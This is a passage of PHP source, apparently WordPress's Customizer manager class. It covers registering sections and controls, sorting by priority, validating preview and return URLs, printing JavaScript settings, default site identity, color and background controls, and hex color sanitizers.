if ( isset( $this->sections[ $id ] ) ) return $this->sections[ $id ]; } /** * Remove a customize section. * * @since 3.4.0 * * @param string $id Section ID. */ public function remove_section( $id ) { unset( $this->sections[ $id ] ); } /** * Register a customize section type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.3.0 * @access public * * @see WP_Customize_Section * * @param string $section Name of a custom section which is a subclass of WP_Customize_Section. */ public function register_section_type( $section ) { $this->registered_section_types[] = $section; } /** * Render JS templates for all registered section types. * * @since 4.3.0 * @access public */ public function render_section_templates() { foreach ( $this->registered_section_types as $section_type ) { $section = new $section_type( $this, 'temp', array() ); $section->print_template(); } } /** * Add a customize control. * * @since 3.4.0 * * @param WP_Customize_Control|string $id Customize Control object, or ID. * @param array $args Control arguments; passed to WP_Customize_Control * constructor. */ public function add_control( $id, $args = array() ) { if ( $id instanceof WP_Customize_Control ) { $control = $id; } else { $control = new WP_Customize_Control( $this, $id, $args ); } $this->controls[ $control->id ] = $control; } /** * Retrieve a customize control. * * @since 3.4.0 * * @param string $id ID of the control. * @return WP_Customize_Control|void The control object, if set. */ public function get_control( $id ) { if ( isset( $this->controls[ $id ] ) ) return $this->controls[ $id ]; } /** * Remove a customize control. * * @since 3.4.0 * * @param string $id ID of the control. */ public function remove_control( $id ) { unset( $this->controls[ $id ] ); } /** * Register a customize control type. * * Registered types are eligible to be rendered via JS and created dynamically. * * @since 4.1.0 * @access public * * @param string $control Name of a custom control which is a subclass of * {@see WP_Customize_Control}. */ public function register_control_type( $control ) { $this->registered_control_types[] = $control; } /** * Render JS templates for all registered control types. * * @since 4.1.0 * @access public */ public function render_control_templates() { foreach ( $this->registered_control_types as $control_type ) { $control = new $control_type( $this, 'temp', array() ); $control->print_template(); } } /** * Helper function to compare two objects by priority, ensuring sort stability via instance_number. * * @since 3.4.0 * * @param WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control $a Object A. * @param WP_Customize_Panel|WP_Customize_Section|WP_Customize_Control $b Object B. * @return int */ protected function _cmp_priority( $a, $b ) { if ( $a->priority === $b->priority ) { return $a->instance_number - $b->instance_number; } else { return $a->priority - $b->priority; } } /** * Prepare panels, sections, and controls. * * For each, check if required related components exist, * whether the user has the necessary capabilities, * and sort by priority. * * @since 3.4.0 */ public function prepare_controls() { $controls = array(); uasort( $this->controls, array( $this, '_cmp_priority' ) ); foreach ( $this->controls as $id => $control ) { if ( ! isset( $this->sections[ $control->section ] ) || ! $control->check_capabilities() ) { continue; } $this->sections[ $control->section ]->controls[] = $control; $controls[ $id ] = $control; } $this->controls = $controls; // Prepare sections. uasort( $this->sections, array( $this, '_cmp_priority' ) ); $sections = array(); foreach ( $this->sections as $section ) { if ( ! $section->check_capabilities() ) { continue; } usort( $section->controls, array( $this, '_cmp_priority' ) ); if ( ! $section->panel ) { // Top-level section. $sections[ $section->id ] = $section; } else { // This section belongs to a panel. if ( isset( $this->panels [ $section->panel ] ) ) { $this->panels[ $section->panel ]->sections[ $section->id ] = $section; } } } $this->sections = $sections; // Prepare panels. uasort( $this->panels, array( $this, '_cmp_priority' ) ); $panels = array(); foreach ( $this->panels as $panel ) { if ( ! $panel->check_capabilities() ) { continue; } uasort( $panel->sections, array( $this, '_cmp_priority' ) ); $panels[ $panel->id ] = $panel; } $this->panels = $panels; // Sort panels and top-level sections together. $this->containers = array_merge( $this->panels, $this->sections ); uasort( $this->containers, array( $this, '_cmp_priority' ) ); } /** * Enqueue scripts for customize controls. * * @since 3.4.0 */ public function enqueue_control_scripts() { foreach ( $this->controls as $control ) { $control->enqueue(); } } /** * Determine whether the user agent is iOS. * * @since 4.4.0 * @access public * * @return bool Whether the user agent is iOS. */ public function is_ios() { return wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] ); } /** * Get the template string for the Customizer pane document title. * * @since 4.4.0 * @access public * * @return string The template string for the document title. */ public function get_document_title_template() { if ( $this->is_theme_active() ) { /* translators: %s: document title from the preview */ $document_title_tmpl = __( 'Customize: %s' ); } else { /* translators: %s: document title from the preview */ $document_title_tmpl = __( 'Live Preview: %s' ); } $document_title_tmpl = html_entity_decode( $document_title_tmpl, ENT_QUOTES, 'UTF-8' ); // Because exported to JS and assigned to document.title. return $document_title_tmpl; } /** * Set the initial URL to be previewed. * * URL is validated. * * @since 4.4.0 * @access public * * @param string $preview_url URL to be previewed. */ public function set_preview_url( $preview_url ) { $preview_url = esc_url_raw( $preview_url ); $this->preview_url = wp_validate_redirect( $preview_url, home_url( '/' ) ); } /** * Get the initial URL to be previewed. * * @since 4.4.0 * @access public * * @return string URL being previewed. */ public function get_preview_url() { if ( empty( $this->preview_url ) ) { $preview_url = home_url( '/' ); } else { $preview_url = $this->preview_url; } return $preview_url; } /** * Set URL to link the user to when closing the Customizer. * * URL is validated. * * @since 4.4.0 * @access public * * @param string $return_url URL for return link. */ public function set_return_url( $return_url ) { $return_url = esc_url_raw( $return_url ); $return_url = remove_query_arg( wp_removable_query_args(), $return_url ); $return_url = wp_validate_redirect( $return_url ); $this->return_url = $return_url; } /** * Get URL to link the user to when closing the Customizer. * * @since 4.4.0 * @access public * * @return string URL for link to close Customizer. */ public function get_return_url() { $referer = wp_get_referer(); $excluded_referer_basenames = array( 'customize.php', 'wp-login.php' ); if ( $this->return_url ) { $return_url = $this->return_url; } else if ( $referer && ! in_array( basename( parse_url( $referer, PHP_URL_PATH ) ), $excluded_referer_basenames, true ) ) { $return_url = $referer; } else if ( $this->preview_url ) { $return_url = $this->preview_url; } else { $return_url = home_url( '/' ); } return $return_url; } /** * Set the autofocused constructs. * * @since 4.4.0 * @access public * * @param array $autofocus { * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @type string [$control] ID for control to be autofocused. * @type string [$section] ID for section to be autofocused. * @type string [$panel] ID for panel to be autofocused. * } */ public function set_autofocus( $autofocus ) { $this->autofocus = array_filter( wp_array_slice_assoc( $autofocus, array( 'panel', 'section', 'control' ) ), 'is_string' ); } /** * Get the autofocused constructs. * * @since 4.4.0 * @access public * * @return array { * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused. * * @type string [$control] ID for control to be autofocused. * @type string [$section] ID for section to be autofocused. * @type string [$panel] ID for panel to be autofocused. * } */ public function get_autofocus() { return $this->autofocus; } /** * Print JavaScript settings for parent window. * * @since 4.4.0 */ public function customize_pane_settings() { /* * If the frontend and the admin are served from the same domain, load the * preview over ssl if the Customizer is being loaded over ssl. This avoids * insecure content warnings. This is not attempted if the admin and frontend * are on different domains to avoid the case where the frontend doesn't have * ssl certs. Domain mapping plugins can allow other urls in these conditions * using the customize_allowed_urls filter. */ $allowed_urls = array( home_url( '/' ) ); $admin_origin = parse_url( admin_url() ); $home_origin = parse_url( home_url() ); $cross_domain = ( strtolower( $admin_origin['host'] ) !== strtolower( $home_origin['host'] ) ); if ( is_ssl() && ! $cross_domain ) { $allowed_urls[] = home_url( '/', 'https' ); } /** * Filter the list of URLs allowed to be clicked and followed in the Customizer preview. * * @since 3.4.0 * * @param array $allowed_urls An array of allowed URLs. */ $allowed_urls = array_unique( apply_filters( 'customize_allowed_urls', $allowed_urls ) ); $login_url = add_query_arg( array( 'interim-login' => 1, 'customize-login' => 1, ), wp_login_url() ); // Prepare Customizer settings to pass to JavaScript. $settings = array( 'theme' => array( 'stylesheet' => $this->get_stylesheet(), 'active' => $this->is_theme_active(), ), 'url' => array( 'preview' => esc_url_raw( $this->get_preview_url() ), 'parent' => esc_url_raw( admin_url() ), 'activated' => esc_url_raw( home_url( '/' ) ), 'ajax' => esc_url_raw( admin_url( 'admin-ajax.php', 'relative' ) ), 'allowed' => array_map( 'esc_url_raw', $allowed_urls ), 'isCrossDomain' => $cross_domain, 'home' => esc_url_raw( home_url( '/' ) ), 'login' => esc_url_raw( $login_url ), ), 'browser' => array( 'mobile' => wp_is_mobile(), 'ios' => $this->is_ios(), ), 'panels' => array(), 'sections' => array(), 'nonce' => array( 'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ), 'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() ), ), 'autofocus' => array(), 'documentTitleTmpl' => $this->get_document_title_template(), ); // Prepare Customize Section objects to pass to JavaScript. foreach ( $this->sections() as $id => $section ) { if ( $section->check_capabilities() ) { $settings['sections'][ $id ] = $section->json(); } } // Prepare Customize Panel objects to pass to JavaScript. foreach ( $this->panels() as $panel_id => $panel ) { if ( $panel->check_capabilities() ) { $settings['panels'][ $panel_id ] = $panel->json(); foreach ( $panel->sections as $section_id => $section ) { if ( $section->check_capabilities() ) { $settings['sections'][ $section_id ] = $section->json(); } } } } // Pass to frontend the Customizer construct being deeplinked. foreach ( $this->get_autofocus() as $type => $id ) { $can_autofocus = ( ( 'control' === $type && $this->get_control( $id ) && $this->get_control( $id )->check_capabilities() ) || ( 'section' === $type && isset( $settings['sections'][ $id ] ) ) || ( 'panel' === $type && isset( $settings['panels'][ $id ] ) ) ); if ( $can_autofocus ) { $settings['autofocus'][ $type ] = $id; } } ?> <script type="text/javascript"> var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>; _wpCustomizeSettings.controls = {}; _wpCustomizeSettings.settings = {}; <?php // Serialize settings one by one to improve memory usage. echo "(function ( s ){\n"; foreach ( $this->settings() as $setting ) { if ( $setting->check_capabilities() ) { printf( "s[%s] = %s;\n", wp_json_encode( $setting->id ), wp_json_encode( array( 'value' => $setting->js_value(), 'transport' => $setting->transport, 'dirty' => $setting->dirty, ) ) ); } } echo "})( _wpCustomizeSettings.settings );\n"; // Serialize controls one by one to improve memory usage. echo "(function ( c ){\n"; foreach ( $this->controls() as $control ) { if ( $control->check_capabilities() ) { printf( "c[%s] = %s;\n", wp_json_encode( $control->id ), wp_json_encode( $control->json() ) ); } } echo "})( _wpCustomizeSettings.controls );\n"; ?> </script> <?php } /** * Register some default controls. * * @since 3.4.0 */ public function register_controls() { /* Panel, Section, and Control Types */ $this->register_panel_type( 'WP_Customize_Panel' ); $this->register_section_type( 'WP_Customize_Section' ); $this->register_section_type( 'WP_Customize_Sidebar_Section' ); $this->register_control_type( 'WP_Customize_Color_Control' ); $this->register_control_type( 'WP_Customize_Media_Control' ); $this->register_control_type( 'WP_Customize_Upload_Control' ); $this->register_control_type( 'WP_Customize_Image_Control' ); $this->register_control_type( 'WP_Customize_Background_Image_Control' ); $this->register_control_type( 'WP_Customize_Cropped_Image_Control' ); $this->register_control_type( 'WP_Customize_Site_Icon_Control' ); $this->register_control_type( 'WP_Customize_Theme_Control' ); /* Themes */ $this->add_section( new WP_Customize_Themes_Section( $this, 'themes', array( 'title' => $this->theme()->display( 'Name' ), 'capability' => 'switch_themes', 'priority' => 0, ) ) ); // Themes Setting (unused - the theme is considerably more fundamental to the Customizer experience). $this->add_setting( new WP_Customize_Filter_Setting( $this, 'active_theme', array( 'capability' => 'switch_themes', ) ) ); require_once( ABSPATH . 'wp-admin/includes/theme.php' ); // Theme Controls. // Add a control for the active/original theme. if ( ! $this->is_theme_active() ) { $themes = wp_prepare_themes_for_js( array( wp_get_theme( $this->original_stylesheet ) ) ); $active_theme = current( $themes ); $active_theme['isActiveTheme'] = true; $this->add_control( new WP_Customize_Theme_Control( $this, $active_theme['id'], array( 'theme' => $active_theme, 'section' => 'themes', 'settings' => 'active_theme', ) ) ); } $themes = wp_prepare_themes_for_js(); foreach ( $themes as $theme ) { if ( $theme['active'] || $theme['id'] === $this->original_stylesheet ) { continue; } $theme_id = 'theme_' . $theme['id']; $theme['isActiveTheme'] = false; $this->add_control( new WP_Customize_Theme_Control( $this, $theme_id, array( 'theme' => $theme, 'section' => 'themes', 'settings' => 'active_theme', ) ) ); } /* Site Identity */ $this->add_section( 'title_tagline', array( 'title' => __( 'Site Identity' ), 'priority' => 20, ) ); $this->add_setting( 'blogname', array( 'default' => get_option( 'blogname' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogname', array( 'label' => __( 'Site Title' ), 'section' => 'title_tagline', ) ); $this->add_setting( 'blogdescription', array( 'default' => get_option( 'blogdescription' ), 'type' => 'option', 'capability' => 'manage_options', ) ); $this->add_control( 'blogdescription', array( 'label' => __( 'Tagline' ), 'section' => 'title_tagline', ) ); $this->add_setting( 'site_icon', array( 'type' => 'option', 'capability' => 'manage_options', 'transport' => 'postMessage', // Previewed with JS in the Customizer controls window. ) ); $this->add_control( new WP_Customize_Site_Icon_Control( $this, 'site_icon', array( 'label' => __( 'Site Icon' ), 'description' => __( 'The Site Icon is used as a browser and app icon for your site. Icons must be square, and at least 512px wide and tall.' ), 'section' => 'title_tagline', 'priority' => 60, 'height' => 512, 'width' => 512, ) ) ); /* Colors */ $this->add_section( 'colors', array( 'title' => __( 'Colors' ), 'priority' => 40, ) ); $this->add_setting( 'header_textcolor', array( 'theme_supports' => array( 'custom-header', 'header-text' ), 'default' => get_theme_support( 'custom-header', 'default-text-color' ), 'sanitize_callback' => array( $this, '_sanitize_header_textcolor' ), 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); // Input type: checkbox // With custom value $this->add_control( 'display_header_text', array( 'settings' => 'header_textcolor', 'label' => __( 'Display Header Text' ), 'section' => 'title_tagline', 'type' => 'checkbox', 'priority' => 40, ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'header_textcolor', array( 'label' => __( 'Header Text Color' ), 'section' => 'colors', ) ) ); // Input type: Color // With sanitize_callback $this->add_setting( 'background_color', array( 'default' => get_theme_support( 'custom-background', 'default-color' ), 'theme_supports' => 'custom-background', 'sanitize_callback' => 'sanitize_hex_color_no_hash', 'sanitize_js_callback' => 'maybe_hash_hex_color', ) ); $this->add_control( new WP_Customize_Color_Control( $this, 'background_color', array( 'label' => __( 'Background Color' ), 'section' => 'colors', ) ) ); /* Custom Header */ $this->add_section( 'header_image', array( 'title' => __( 'Header Image' ), 'theme_supports' => 'custom-header', 'priority' => 60, ) ); $this->add_setting( new WP_Customize_Filter_Setting( $this, 'header_image', array( 'default' => get_theme_support( 'custom-header', 'default-image' ), 'theme_supports' => 'custom-header', ) ) ); $this->add_setting( new WP_Customize_Header_Image_Setting( $this, 'header_image_data', array( // 'default' => get_theme_support( 'custom-header', 'default-image' ), 'theme_supports' => 'custom-header', ) ) ); $this->add_control( new WP_Customize_Header_Image_Control( $this ) ); /* Custom Background */ $this->add_section( 'background_image', array( 'title' => __( 'Background Image' ), 'theme_supports' => 'custom-background', 'priority' => 80, ) ); $this->add_setting( 'background_image', array( 'default' => get_theme_support( 'custom-background', 'default-image' ), 'theme_supports' => 'custom-background', ) ); $this->add_setting( new WP_Customize_Background_Image_Setting( $this, 'background_image_thumb', array( 'theme_supports' => 'custom-background', ) ) ); $this->add_control( new WP_Customize_Background_Image_Control( $this ) ); $this->add_setting( 'background_repeat', array( 'default' => get_theme_support( 'custom-background', 'default-repeat' ), 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_repeat', array( 'label' => __( 'Background Repeat' ), 'section' => 'background_image', 'type' => 'radio', 'choices' => array( 'no-repeat' => __('No Repeat'), 'repeat' => __('Tile'), 'repeat-x' => __('Tile Horizontally'), 'repeat-y' => __('Tile Vertically'), ), ) ); $this->add_setting( 'background_position_x', array( 'default' => get_theme_support( 'custom-background', 'default-position-x' ), 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_position_x', array( 'label' => __( 'Background Position' ), 'section' => 'background_image', 'type' => 'radio', 'choices' => array( 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right'), ), ) ); $this->add_setting( 'background_attachment', array( 'default' => get_theme_support( 'custom-background', 'default-attachment' ), 'theme_supports' => 'custom-background', ) ); $this->add_control( 'background_attachment', array( 'label' => __( 'Background Attachment' ), 'section' => 'background_image', 'type' => 'radio', 'choices' => array( 'scroll' => __('Scroll'), 'fixed' => __('Fixed'), ), ) ); // If the theme is using the default background callback, we can update // the background CSS using postMessage. if ( get_theme_support( 'custom-background', 'wp-head-callback' ) === '_custom_background_cb' ) { foreach ( array( 'color', 'image', 'position_x', 'repeat', 'attachment' ) as $prop ) { $this->get_setting( 'background_' . $prop )->transport = 'postMessage'; } } /* Static Front Page */ // #WP19627 // Replicate behavior from options-reading.php and hide front page options if there are no pages if ( get_pages() ) { $this->add_section( 'static_front_page', array( 'title' => __( 'Static Front Page' ), // 'theme_supports' => 'static-front-page', 'priority' => 120, 'description' => __( 'Your theme supports a static front page.' ), ) ); $this->add_setting( 'show_on_front', array( 'default' => get_option( 'show_on_front' ), 'capability' => 'manage_options', 'type' => 'option', // 'theme_supports' => 'static-front-page', ) ); $this->add_control( 'show_on_front', array( 'label' => __( 'Front page displays' ), 'section' => 'static_front_page', 'type' => 'radio', 'choices' => array( 'posts' => __( 'Your latest posts' ), 'page' => __( 'A static page' ), ), ) ); $this->add_setting( 'page_on_front', array( 'type' => 'option', 'capability' => 'manage_options', // 'theme_supports' => 'static-front-page', ) ); $this->add_control( 'page_on_front', array( 'label' => __( 'Front page' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', ) ); $this->add_setting( 'page_for_posts', array( 'type' => 'option', 'capability' => 'manage_options', // 'theme_supports' => 'static-front-page', ) ); $this->add_control( 'page_for_posts', array( 'label' => __( 'Posts page' ), 'section' => 'static_front_page', 'type' => 'dropdown-pages', ) ); } } /** * Add settings from the POST data that were not added with code, e.g. dynamically-created settings for Widgets * * @since 4.2.0 * @access public * * @see add_dynamic_settings() */ public function register_dynamic_settings() { $this->add_dynamic_settings( array_keys( $this->unsanitized_post_values() ) ); } /** * Callback for validating the header_textcolor value. * * Accepts 'blank', and otherwise uses sanitize_hex_color_no_hash(). * Returns default text color if hex color is empty. * * @since 3.4.0 * * @param string $color * @return mixed */ public function _sanitize_header_textcolor( $color ) { if ( 'blank' === $color ) return 'blank'; $color = sanitize_hex_color_no_hash( $color ); if ( empty( $color ) ) $color = get_theme_support( 'custom-header', 'default-text-color' ); return $color; } } /** * Sanitizes a hex color. * * Returns either '', a 3 or 6 digit hex color (with #), or nothing. * For sanitizing values without a #, see sanitize_hex_color_no_hash(). * * @since 3.4.0 * * @param string $color * @return string|void */ function sanitize_hex_color( $color ) { if ( '' === $color ) return ''; // 3 or 6 hex digits, or the empty string. if ( preg_match('|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) return $color; } /** * Sanitizes a hex color without a hash. Use sanitize_hex_color() when possible. * * Saving hex colors without a hash puts the burden of adding the hash on the * UI, which makes it difficult to use or upgrade to other color types such as * rgba, hsl, rgb, and html color names. * * Returns either '', a 3 or 6 digit hex color (without a #), or null. * * @since 3.4.0 * * @param string $color * @return string|null */ function sanitize_hex_color_no_hash( $color ) { $color = ltrim( $color, '#' ); if ( '' === $color ) return ''; return sanitize_hex_color( '#' . $color ) ? $color : null; } /** * Ensures that any hex color is properly hashed. * Otherwise, returns value untouched. * * This method should only be necessary if using sanitize_hex_color_no_hash(). * * @since 3.4.0 * * @param string $color * @return string */ function maybe_hash_hex_color( $color ) { if ( $unhashed = sanitize_hex_color_no_hash( $color ) ) return '#' . $unhashed; return $color; }